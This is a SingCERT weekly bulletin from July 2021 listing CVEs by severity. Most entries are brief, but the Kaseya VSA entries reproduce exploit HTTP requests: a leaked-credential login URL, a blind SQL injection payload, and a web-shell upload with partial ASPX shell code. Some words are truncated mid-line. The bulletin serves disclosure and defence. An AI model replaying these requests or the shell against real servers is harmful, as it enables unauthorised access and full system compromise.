SingCERT
Singapore Cyber Emergency Response Team

Security Bulletin 14 July 2021

SingCERT's Security Bulletin summarises the list of vulnerabilities collated from the National Institute of Standards and Technology (NIST)'s National Vulnerability Database (NVD) in the past week.

The vulnerabilities are tabled based on severity, in accordance to their CVSSv3 base scores:

Critical	vulnerabilities with a base score of 9.0 to 10.0
High	vulnerabilities with a base score of 7.0 to 8.9
Medium	vulnerabilities with a base score of 4.0 to 6.9
Low	vulnerabilities with a base score of 0.1 to 3.9
None	vulnerabilities with a base score of 0.0

For those vulnerabilities without assigned CVSS scores, please visit NVD for the updated CVSS vulnerability entries.

CRITICAL VULNERABILITIES

CVE Number	Description
CVE-2021-30116	Kaseya VSA before 9.5.7 allows credential disclosure, as exploited in the wild in July 2021. By default Kaseya VSA on premise offers a download page where the client for the installation can be downloaded. The default URL for this page is https://x.x.x.x/dl.asp When an attacker download a client for Windows and installs it, the file KaseyaD.ini is generated (C:\Program Files (x86)\Kaseya\XXXXXXXXXX\KaseyaD.ini) which contains an Agent_Guid and AgentPassword This Agent_Guid and AgentPassword can be used to log in on dl.asp (https://x.x.x.x/dl.asp?un=840997037507813&pw=113cc622839a4077a84837485ced6b93e440bf66d44057713cb2f95e503a06d9) This request authenticates the client and returns a session cookie that can be used in subsequent attacks to bypass authentication. Security issues discovered --- * Unauthenticated download page leaks credentials * Credential agent software can be used to obtain a sessionId (cookie) that can be used for services not intended for use by agents * dl.asp accepts credentials via a GET request * Access to KaseyaD.ini gives an attacker access to sufficient information to penetrate the Kaseya installation and its clients. Impact --- Via the page /dl.asp enough information can be obtained to give an attacker a sessionId that can be used to execute further (semi-authenticated) attacks against the system.
CVE-2021-30120	Kaseya VSA before 9.5.7 allows attackers to bypass the 2FA requirement. The need to use 2FA for authentication in enforce client-side instead of server-side and can bypassed using a local proxy. Thus rendering 2FA useless. Detailed description --- During the login process, after the user authenticates with username and password, server sends a response to the client with the booleans MFARequired and MFAEnroled. If the attacker has obtained a password of a user and used an intercepting pro (e.g. Burp Suite) to change the value of MFARequered from True to False, there is no prompt for the second factor, but the user is still logged in.
CVE-2021-20776	Improper authentication vulnerability in SCT-40CM01SR and AT-40CM01SR allows an attacker to bypass access restriction and execute an arbitrary command via teln
CVE-2021-23389	The package total.js before 3.4.9 are vulnerable to Arbitrary Code Execution via the U.set() and U.get() functions.
CVE-2021-25436	Improper input validation vulnerability in Tizen FOTA service prior to Firmware update JUL-2021 Release allows arbitrary code execution via Samsung Accessory Proto
CVE-2021-25437	Improper access control vulnerability in Tizen FOTA service prior to Firmware update JUL-2021 Release allows attackers to arbitrary code execution by replacing FOTA update file.
CVE-2020-23580	Remote Code Execution vulnerability in PbootCMS 2.0.8 in the message board.
CVE-2012-2666	golang/go in 1.0.2 fixes all.bash on shared machines. dotest() in src/pkg/debug/gosym/pclntab_test.go creates a temporary file with predicable name and executes it as shell script.

CVE Number	Description
CVE-2021-30117	The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given th following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1' HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=3054886 agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116 The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico? 307447361"></link> ----SNIP---- ``` However when fldrId is set to '(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))' the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp? fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: clos Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```
CVE-2021-30118	An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequer use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following reque ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-85(47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password (pass) private const string style = "dark"; // The style (light / dark) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file wr via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing a attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * Th web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file uploa allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) tl webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integr confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
CVE-2021-24007	Multiple improper neutralization of special elements of SQL commands vulnerabilities in FortiMail before 6.4.4 may allow a non-authenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests.
CVE-2021-35064	KramerAV VIAWare, all tested versions, allow privilege escalation through misconfiguration of sudo. Sudoers permits running of multiple dangerous commands, includi unzip, systemctl and dpkg.
CVE-2020-21132	SQL Injection vulnerability in Metinfo 7.0.0beta in index.php.
CVE-2020-21133	SQL Injection vulnerability in Metinfo 7.0.0 beta in member/getpassword.php?lang=cn&a=dovalid.
CVE-2020-18980	Remote Code Executon vulnerability in Halo 0.4.3 via the remoteAddr and themeName parameters.
CVE-2021-23390	The package total4 before 0.0.43 are vulnerable to Arbitrary Code Execution via the U.set() and U.get() functions.
CVE-2021-25434	Improper input validation vulnerability in Tizen bootloader prior to Firmware update JUL-2021 Release allows arbitrary code execution using param partition in wireless firmware download mode.
CVE-2020-18544	SQL Injection in WMS v1.0 allows remote attackers to execute arbitrary code via the "username" parameter in the component "chkuser.php".
CVE-2021-24385	The Filebird Plugin 4.7.3 introduced a SQL injection vulnerability as it is making SQL queries without escaping user input data from a HTTP post request. This is a majc vulnerability as the user input is not escaped and passed directly to the get_col function and it allows SQL injection. The Rest API endpoint which invokes this function a does not have any required permissions/authentication and can be accessed by an anonymous user.

CVE Number	Description
CVE-2021-24442	The Poll, Survey, Questionnaire and Voting system WordPress plugin before 1.5.3 did not sanitise, escape or validate the date_answers[] POST parameter before usin in a SQL statement when sending a Poll result, allowing unauthenticated users to perform SQL Injection attacks
CVE-2020-11307	Buffer overflow in modem due to improper array index check before copying into it in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Wearables
CVE-2021-1965	Possible buffer overflow due to lack of parameter length check during MBSSID scan IE parse in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Mobile, Snapdragon Wired Infrastructure and Networking
CVE-2021-31895	A vulnerability has been identified in RUGGEDCOM ROS M2100 (All versions < V4.3.7), RUGGEDCOM ROS M2200 (All versions < V4.3.7), RUGGEDCOM ROS M96 (All versions < V4.3.7), RUGGEDCOM ROS RMC (All versions < V4.3.7), RUGGEDCOM ROS RMC20 (All versions < V4.3.7), RUGGEDCOM ROS RMC30 (All versio V4.3.7), RUGGEDCOM ROS RMC40 (All versions < V4.3.7), RUGGEDCOM ROS RMC41 (All versions < V4.3.7), RUGGEDCOM ROS RMC8388 V4.X (All versions < V4.3.7), RUGGEDCOM ROS RMC8388 V5.X (All versions < V5.5.4), RUGGEDCOM ROS RP110 (All versions < V4.3.7), RUGGEDCOM ROS RS400 (All versions < V4.3.7), RUGGEDCOM ROS RS401 (All versions < V4.3.7), RUGGEDCOM ROS RS416 (All versions < V4.3.7), RUGGEDCOM ROS RS416v2 V4.X (All versions < V4.3.7), RUGGEDCOM ROS RS416v2 V5.X (All versions < 5.5.4), RUGGEDCOM ROS RS8000 (All versions < V4.3.7), RUGGEDCOM ROS RS8000A (All versions < V4.3.7), RUGGEDCOM ROS RS8000H (All versions < V4.3.7), RUGGEDCOM ROS RS8000T (All versions < V4.3.7), RUGGEDCOM ROS RS900 (32M) V4.X (All versions < V4.3.7), RUGGEDCOM ROS RS900 (32M) V5.X (All versions < V5.5.4), RUGGEDCOM ROS RS900G (All versions < V4.3.7), RUGGEDCOM ROS RS900((32M) V4.X (All versions < V4.3.7), RUGGEDCOM ROS RS900G (32M) V5.X (All versions < V5.5.4), RUGGEDCOM ROS RS900GP (All versions < V4.3.7), RUGGEDCOM ROS RS900L (All versions < V4.3.7), RUGGEDCOM ROS RS900W (All versions < V4.3.7), RUGGEDCOM ROS RS910 (All versions < V4.3.7), RUGGEDCOM ROS RS910L (All versions < V4.3.7), RUGGEDCOM ROS RS910W (All versions < V4.3.7), RUGGEDCOM ROS RS920L (All versions < V4.3.7), RUGGEDCOM ROS RS920W (All versions < V4.3.7), RUGGEDCOM ROS RS930L (All versions < V4.3.7), RUGGEDCOM ROS RS930W (All versions < V4.3.7), RUGGEDCOM ROS RS940G (All versions < V4.3.7), RUGGEDCOM ROS RS969 (All versions < V4.3.7), RUGGEDCOM ROS RSG2100 (32M) V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG2100 (32M) V5.X (All versions < V5.5.4), RUGGEDCOM ROS RSG2100 V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG210 (All versions < V4.3.7), RUGGEDCOM ROS RSG2100P (32M) V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG2100P (32M) V5.X (All versions < V5.5.4), RUGGEDCOM ROS RSG2200 (All versions < V4.3.7), RUGGEDCOM ROS RSG2288 V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG2288 V5.X (All versions V5.5.4), RUGGEDCOM ROS RSG2300 V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG2300 V5.X (All versions < V5.5.4), RUGGEDCOM ROS RSG2300P V4. (All versions < V4.3.7), RUGGEDCOM ROS RSG2300P V5.X (All versions < V5.5.4), RUGGEDCOM ROS RSG2488 V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG2488 V5.X (All versions < V5.5.4), RUGGEDCOM ROS RSG900 V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG900 V5.X (All versions < V5.5.4), RUGGEDCOM ROS RSG900C (All versions < V5.5.4), RUGGEDCOM ROS RSG900G V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG900G V5.X (All versions V5.5.4), RUGGEDCOM ROS RSG900R (All versions < V5.5.4), RUGGEDCOM ROS RSG920P V4.X (All versions < V4.3.7), RUGGEDCOM ROS RSG920P V5.X (All versions < V5.5.4), RUGGEDCOM ROS RSL910 (All versions < V5.5.4), RUGGEDCOM ROS RST2228 (All versions < V5.5.4), RUGGEDCOM ROS RST916C (All versions < V5.5.4), RUGGEDCOM ROS RST916P (All versions < V5.5.4), RUGGEDCOM ROS i800 (All versions < V4.3.7), RUGGEDCOM ROS i801 (All versions < V4.3.7), RUGGEDCOM ROS i802 (All versions < V4.3.7), RUGGEDCOM ROS i803 (All versions < V4.3.7). The DHCP client in affected devices fails to properly sanitiz incoming DHCP packets. This could allow an unauthenticated remote attacker to cause memory to be overwritten, potentially allowing remote code execution.
CVE-2021-33578	Echo ShareCare 8.15.5 is susceptible to SQL injection vulnerabilities when processing remote input from both authenticated and unauthenticated users, leading to the ability to bypass authentication, exfiltrate Structured Query Language (SQL) records, and manipulate data.
CVE-2021-36124	An issue was discovered in Echo ShareCare 8.15.5. It does not perform authentication or authorization checks when accessing a subset of sensitive resources, leading the ability for unauthenticated users to access pages that are vulnerable to attacks such as SQL injection.
CVE-2020-22873	Buffer overflow vulnerability in function NumberToPrecisionCmd in jsish before 3.0.7, allows remote attackers to execute arbitrary code.
CVE-2020-22874	Integer overflow vulnerability in function Jsi_ObjArraySizer in jsish before 3.0.8, allows remote attackers to execute arbitrary code.
CVE-2020-22875	Integer overflow vulnerability in function Jsi_ObjSetLength in jsish before 3.0.6, allows remote attackers to execute arbitrary code.
CVE-2020-22884	Buffer overflow vulnerability in function jsvGetStringChars in Espruino before RELEASE_2V09, allows remote attackers to execute arbitrary code.
CVE-2021-34552	Pillow through 8.2.0 and PIL (aka Python Imaging Library) through 1.1.7 allow an attacker to pass controlled parameters directly into a convert function to trigger a buffe overflow in Convert.c.
CVE-2021-25952	Prototype pollution vulnerability in 'just-safe-set' versions 1.0.0 through 2.2.1 allows an attacker to cause a denial of service and may lead to remote code execution.
CVE-2021-25435	Improper input validation vulnerability in Tizen bootloader prior to Firmware update JUL-2021 Release allows arbitrary code execution using recovery partition in wireles firmware download mode.

CVE Number	Description
CVE-2021-21821	A stack-based buffer overflow vulnerability exists in the PDF process_fontname functionality of Accusoft ImageGear 19.9. A specially crafted malformed file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.
CVE-2021-32529	Command injection vulnerability in QSAN XEVO, SANOS allows remote unauthenticated attackers to execute arbitrary commands. Suggest contacting with QSAN and refer to recommendations in QSAN Document.
CVE-2021-34621	A vulnerability in the user registration component found in the ~/src/Classes/RegistrationAuth.php file of the ProfilePress WordPress plugin made it possible for users to register on sites as an administrator. This issue affects versions 3.0.0 - 3.1.3. .
CVE-2021-34622	A vulnerability in the user profile update component found in the ~/src/Classes/EditUserProfile.php file of the ProfilePress WordPress plugin made it possible for users t escalate their privileges to that of an administrator while editing their profile. This issue affects versions 3.0.0 - 3.1.3. .
CVE-2021-34623	A vulnerability in the image uploader component found in the ~/src/Classes/ImageUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3. .
CVE-2021-34624	A vulnerability in the file uploader component found in the ~/src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3. .
CVE-2020-24142	Server-side request forgery in the Video Downloader for TikTok (aka downloader-tiktok) plugin 1.3 for WordPress lets an attacker send crafted requests from the back-e server of a vulnerable web application via the njt-tk-download-video parameter. It can help identify open ports, local network hosts and execute command on services
CVE-2021-32512	QuickInstall in QSAN Storage Manager does not filter special parameters properly that allows remote unauthenticated attackers to inject and execute arbitrary comman The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.
CVE-2021-32513	QsanTorture in QSAN Storage Manager does not filter special parameters properly that allows remote unauthenticated attackers to inject and execute arbitrary comma The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.
CVE-2021-32519	Use of password hash with insufficient computational effort vulnerability in QSAN Storage Manager, XEVO, SANOS allows remote attackers to recover the plain-text password by brute-forcing the MD5 hash. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.2, QSAN XEVO v2.1.0, a QSAN SANOS v2.1.0.
CVE-2021-32520	Use of hard-coded cryptographic key vulnerability in QSAN Storage Manager allows attackers to obtain users' credentials and related permissions. Suggest contacting QSAN and refer to recommendations in QSAN Document.
CVE-2021-32522	Improper restriction of excessive authentication attempts vulnerability in QSAN Storage Manager, XEVO, SANOS allows remote attackers to discover users' credentials and obtain access via a brute force attack. Suggest contacting with QSAN and refer to recommendations in QSAN Document.
CVE-2021-28809	An improper access control vulnerability has been reported to affect certain legacy versions of HBS 3. If exploited, this vulnerability allows attackers to compromise the security of the operating system.QNAP have already fixed this vulnerability in the following versions of HBS 3: QTS 4.3.6: HBS 3 v3.0.210507 and later QTS 4.3.4: HBS v3.0.210506 and later QTS 4.3.3: HBS 3 v3.0.210506 and later
CVE-2021-21994	SFCB (Small Footprint CIM Broker) as used in ESXi has an authentication bypass vulnerability. A malicious actor with network access to port 5989 on ESXi may exploi this issue to bypass SFCB authentication by sending a specially crafted request.
CVE-2021-32530	OS command injection vulnerability in Array function in QSAN XEVO allows remote unauthenticated attackers to execute arbitrary commands via status parameter. The referred vulnerability has been solved with the updated version of QSAN XEVO v2.1.0.
CVE-2021-32535	The vulnerability of hard-coded default credentials in QSAN SANOS allows unauthenticated remote attackers to obtain administrator's permission and execute arbitrary functions. The referred vulnerability has been solved with the updated version of QSAN SANOS v2.1.0.
CVE-2021-21807	An integer overflow vulnerability exists in the DICOM parse_dicom_meta_info functionality of Accusoft ImageGear 19.9. A specially crafted malformed file can lead to a stack-based buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.
CVE-2021-33221	An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. There are Unauthenticated API Endpoints.
CVE-2021-33219	An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. There are Hard-coded Web Application Administrator Passwords for the admin and nplus1user accounts.

CVE Number	Description
CVE-2021-33218	An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. There are Hard-coded System Passwords that provide shell access.
CVE-2021-33216	An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. An Undocumented Backdoor exists, allowing shell access via a developer account.
CVE-2021-32538	ARTWARE CMS parameter of image upload function does not filter the type of upload files which allows remote attackers can upload arbitrary files without logging in, a further execute code unrestrictedly.
CVE-2021-32534	QSAN SANOS factory reset function does not filter special parameters. Remote attackers can use this vulnerability to inject and execute arbitrary commands without permissions. The referred vulnerability has been solved with the updated version of QSAN SANOS v2.1.0.
CVE-2021-32533	The QSAN SANOS setting page does not filter special parameters. Remote attackers can use this vulnerability to inject and execute arbitrary commands without permissions. The referred vulnerability has been solved with the updated version of QSAN SANOS v2.1.0.
CVE-2021-32531	OS command injection vulnerability in Init function in QSAN XEVO allows remote attackers to execute arbitrary commands without permissions. The referred vulnerabil has been solved with the updated version of QSAN XEVO v2.1.0.
CVE-2021-32525	The same hard-coded password in QSAN Storage Manager's in the firmware allows remote attackers to access the control interface with the administrator's credential, entering the hard-coded password of the debug mode to execute the restricted system instructions. The referred vulnerability has been solved with the updated version QSAN Storage Manager v3.3.3.
CVE-2020-24148	Server-side request forgery (SSRF) in the Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 for WordPress via the data parameter in a moove_read_xml actio
CVE-2020-24147	Server-side request forgery (SSR) vulnerability in the WP Smart Import (wp-smart-import) plugin 1.0.0 for WordPress via the file field.
CVE-2021-29102	A Server-Side Request Forgery (SSRF) vulnerability in ArcGIS Server Manager version 10.8.1 and below may allow a remote, unauthenticated attacker to forge GET requests to arbitrary URLs from the system, potentially leading to network enumeration or facilitating other attacks.
CVE-2021-32523	Improper authorization vulnerability in QSAN Storage Manager allows remote privileged users to bypass the access control and execute arbitrary commands. Suggest contacting with QSAN and refer to recommendations in QSAN Document.
CVE-2020-19038	File Deletion vulnerability in Halo 0.4.3 via delBackup.
CVE-2021-31217	In SolarWinds DameWare Mini Remote Control Server 12.0.1.200, insecure file permissions allow file deletion as SYSTEM.
CVE-2021-32524	Command injection vulnerability in QSAN Storage Manager allows remote privileged users to execute arbitrary commands. Suggest contacting with QSAN and refer to recommendations in QSAN Document.

OTHER VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2021-34620	The WP Fluent Forms plugin < 3.6.67 for WordPress is vulnerable to Cross-Site Request Forgery leading to stored Cross-Site Scripting and limited Privilege Escalation due to a missing nonce check in the access control function for administrative AJAX actions	8.8	More Details
CVE-2021-29730	IBM InfoSphere Information Server 11.7 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify or delete information in the back-end database. IBM X-Force ID: 201164.	8.8	More Details
CVE-2021-36122	An issue was discovered in Echo ShareCare 8.15.5. The UnzipFile feature in Access/EligFeedParse_Sup/UnzipFile_Upd.cfm is susceptible to a command argument injection vulnerability when processing remote input in the zippass parameter from an authenticated user, leading to the ability to inject arbitrary arguments to 7z.exe.	8.8	More Details
CVE-2020-19907	A command injection vulnerability in the sandcat plugin of Caldera 2.3.1 and earlier allows authenticated attackers to execute any command or service.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-21793	An out-of-bounds write vulnerability exists in the JPG sof_nb_comp header processing functionality of Accusoft ImageGear 19.8 and 19.9. A specially crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.	8.8	More Details
CVE-2021-21779	A use-after-free vulnerability exists in the way Webkit's GraphicsContext handles certain events in WebKitGTK 2.30.4. A specially crafted web page can lead to a potential information leak and further memory corruption. A victim must be tricked into visiting a malicious web page to trigger this vulnerability.	8.8	More Details
CVE-2021-21787	A privilege escalation vulnerability exists in the way IOBit Advanced SystemCare Ultimate 14.2.0.220 driver handles Privileged I/O write requests. During IOCTL 0x9c40a0d8, the first dword passed in the input buffer is the device port to write to and the byte at offset 4 is the value to write via the OUT instruction. The OUT instruction can write one byte to the given I/O device port, potentially leading to escalated privileges of unprivileged users.	8.8	More Details
CVE-2021-21788	A privilege escalation vulnerability exists in the way IOBit Advanced SystemCare Ultimate 14.2.0.220 driver handles Privileged I/O write requests. During IOCTL 0x9c40a0dc, the first dword passed in the input buffer is the device port to write to and the word at offset 4 is the value to write via the OUT instruction. The OUT instruction can write one byte to the given I/O device port, potentially leading to escalated privileges of unprivileged users. A local attacker can send a malicious IRP to trigger this vulnerability.	8.8	More Details
CVE-2021-21789	A privilege escalation vulnerability exists in the way IOBit Advanced SystemCare Ultimate 14.2.0.220 driver handles Privileged I/O write requests. During IOCTL 0x9c40a0e0, the first dword passed in the input buffer is the device port to write to and the dword at offset 4 is the value to write via the OUT instruction. A local attacker can send a malicious IRP to trigger this vulnerability.	8.8	More Details
CVE-2021-1576	Multiple vulnerabilities in the web-based management interface of Cisco Business Process Automation (BPA) could allow an authenticated, remote attacker to elevate privileges to Administrator. These vulnerabilities are due to improper authorization enforcement for specific features and for access to log files that contain confidential information. An attacker could exploit these vulnerabilities either by submitting crafted HTTP messages to an affected system and performing unauthorized actions with the privileges of an administrator, or by retrieving sensitive data from the logs and using it to impersonate a legitimate privileged user. A successful exploit could allow the attacker to elevate privileges to Administrator.	8.8	More Details
CVE-2021-20423	IBM Cloud Pak for Applications 4.3 could allow an authenticated user gain escalated privilesges due to improper application permissions. IBM X-Force ID: 196308.	8.8	More Details
CVE-2021-21806	An exploitable use-after-free vulnerability exists in WebKitGTK browser version 2.30.3 x64. A specially crafted HTML web page can cause a use-after-free condition, resulting in remote code execution. The victim needs to visit a malicious web site to trigger the vulnerability.	8.8	More Details
CVE-2021-1574	Multiple vulnerabilities in the web-based management interface of Cisco Business Process Automation (BPA) could allow an authenticated, remote attacker to elevate privileges to Administrator. These vulnerabilities are due to improper authorization enforcement for specific features and for access to log files that contain confidential information. An attacker could exploit these vulnerabilities either by submitting crafted HTTP messages to an affected system and performing unauthorized actions with the privileges of an administrator, or by retrieving sensitive data from the logs and using it to impersonate a legitimate privileged user. A successful exploit could allow the attacker to elevate privileges to Administrator.	8.8	More Details
CVE-2021-3570	A flaw was found in the ptp4l program of the linuxptp package. A missing length check when forwarding a PTP message between ports allows a remote attacker to cause an information leak, crash, or potentially remote code execution. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. This flaw affects linuxptp versions before 3.1.1, before 2.0.1, before 1.9.3, before 1.8.1, before 1.7.1, before 1.6.1 and before 1.5.1.	8.8	More Details
CVE-2020-4938	IBM MQ Appliance 9.1 and 9.2 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 191815.	8.8	More Details
CVE-2021-34609	A remote SQL injection vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	8.8	More Details
CVE-2021-32688	Nextcloud Server is a Nextcloud package that handles data storage. Nextcloud Server supports application specific tokens for authentication purposes. These tokens are supposed to be granted to a specific applications (e.g. DAV sync clients), and can also be configured by the user to not have any filesystem access. Due to a lacking permission check, the tokens were able to change their own permissions in versions prior to 19.0.13, 20.0.11, and 21.0.3. Thus fileystem limited tokens were able to grant themselves access to the filesystem. The issue is patched in versions 19.0.13, 20.0.11, and 21.0.3. There are no known workarounds aside from upgrading.	8.8	More Details
CVE-2021-22129	Multiple instances of incorrect calculation of buffer size in the Webmail and Administrative interface of FortiMail before 6.4.5 may allow an authenticated attacker with regular webmail access to trigger a buffer overflow and to possibly execute unauthorized code or commands via specifically crafted HTTP requests.	8.8	More Details
CVE-2021-32462	Trend Micro Password Manager (Consumer) version 5.0.0.1217 and below is vulnerable to an Exposed Hazardous Function Remote Code Execution vulnerability which could allow an unprivileged client to manipulate the registry and escalate privileges to SYSTEM on affected installations. Authentication is required to exploit this vulnerability.	8.8	More Details
CVE-2021-31894	A vulnerability has been identified in SIMATIC PCS 7 V8.2 and earlier (All versions), SIMATIC PCS 7 V9.X (All versions < V9.1 SP2), SIMATIC PDM (All versions < V9.2 SP2), SIMATIC STEP 7 V5.X (All versions < V5.7), SINAMICS STARTER (containing STEP 7 OEM version) (All versions < V5.4 SP2 HF1). A directory containing metafiles relevant to devices' configurations has write permissions. An attacker could leverage this vulnerability by changing the content of certain metafiles and subsequently manipulate parameters or behavior of devices that would be later configured by the affected software.	8.8	More Details
CVE-2021-20378	IBM Guardium Data Encryption (GDE) 3.0.0.2 and 4.0.0.4 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 195709.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-24013	Multiple Path traversal vulnerabilities in the Webmail of FortiMail before 6.4.4 may allow a regular user to obtain unauthorized access to files and data via specifically crafted web requests.	8.8	More Details
CVE-2021-33217	An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. The Web Application allows Arbitrary Read/Write actions by authenticated users. The API allows an HTTP POST of arbitrary content into any file on the filesystem as root.	8.8	More Details
CVE-2021-20780	Cross-site request forgery (CSRF) vulnerability in WPCS - WordPress Currency Switcher 1.1.6 and earlier allows remote attackers to hijack the authentication of administrators via unspecified vectors.	8.8	More Details
CVE-2021-20779	Cross-site request forgery (CSRF) vulnerability in WordPress Email Template Designer - WP HTML Mail versions prior to 3.0.8 allows remote attackers to hijack the authentication of administrators via unspecified vectors.	8.8	More Details
CVE-2021-28931	Arbitrary file upload vulnerability in Fork CMS 5.9.2 allows attackers to create or replace arbitrary files in the /themes directory via a crafted zip file uploaded to the Themes panel.	8.8	More Details
CVE-2021-20739	WRC-300FEBK, WRC-F300NF, WRC-733FEBK, WRH-300RD, WRH-300BK, WRH-300SV, WRH-300WH, WRH-H300WH, WRH-H300BK, WRH-300BK-S, and WRH-300WH-S all versions allows an unauthenticated network-adjacent attacker to execute an arbitrary OS command via unspecified vectors.	8.8	More Details
CVE-2021-36121	An issue was discovered in Echo ShareCare 8.15.5. The file-upload feature in Access/DownloadFeed_Mnt/FileUpload_Upd.cfm is susceptible to an unrestricted upload vulnerability via the name1 parameter, when processing remote input from an authenticated user, leading to the ability for arbitrary files to be written to arbitrary filesystem locations via ../ Directory Traversal on the Z: drive (a hard-coded drive letter where ShareCare application files reside) and remote code execution as the ShareCare service user (NT AUTHORITY\SYSTEM).	8.8	More Details
